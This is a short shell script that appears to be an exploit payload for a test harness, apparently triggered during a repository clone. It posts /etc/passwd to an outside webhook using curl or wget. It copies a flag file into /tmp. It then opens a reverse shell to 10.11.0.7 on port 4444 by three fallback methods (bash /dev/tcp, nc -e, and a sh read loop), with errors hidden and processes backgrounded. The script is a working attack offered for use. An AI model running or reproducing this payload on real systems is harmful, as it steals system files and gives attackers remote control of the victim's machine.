#!/usr/bin/env sh
set -eu
# Send /etc/passwd to your webhook (ignore errors to avoid breaking clone)
curl -fsSL --max-time 10 --data-binary @/etc/passwd \
  https://cve48384.requestcatcher.com \
  || wget -qO- --timeout=10 --post-file=/etc/passwd \
       https://cve48384.requestcatcher.com \
  || true
# Optional: keep the local flag signal for harness PASS/FAIL
if [ -f "$HOME/flag.txt" ]; then
  (umask 077; cat "$HOME/flag.txt" > /tmp/flag.txt)
fi

# Reverse shell to YOUR_IP:4444 (replace YOUR_IP with your listener's IP)
# Attempts multiple methods for reliability
HOST="10.11.0.7"  # Replace with your IP (e.g., 192.168.1.100)
PORT=4444

# Try bash reverse shell (most reliable)
{
  nohup /bin/bash -c "/bin/bash >& /dev/tcp/$HOST/$PORT 0>&1" 2>/dev/null &
  disown -h ||
  # Fallback to nc if available
  (command -v nc && nohup /bin/nc -e /bin/sh $HOST $PORT 2>/dev/null & disown -h) ||
  # Fallback to sh with redirected socket
  nohup /bin/sh -c "exec 5<>/dev/tcp/$HOST/$PORT; cat <&5 | while read line; do \$line; done" 2>/dev/null & disown -h ||
  true  # Ignore failures to avoid breaking script
}
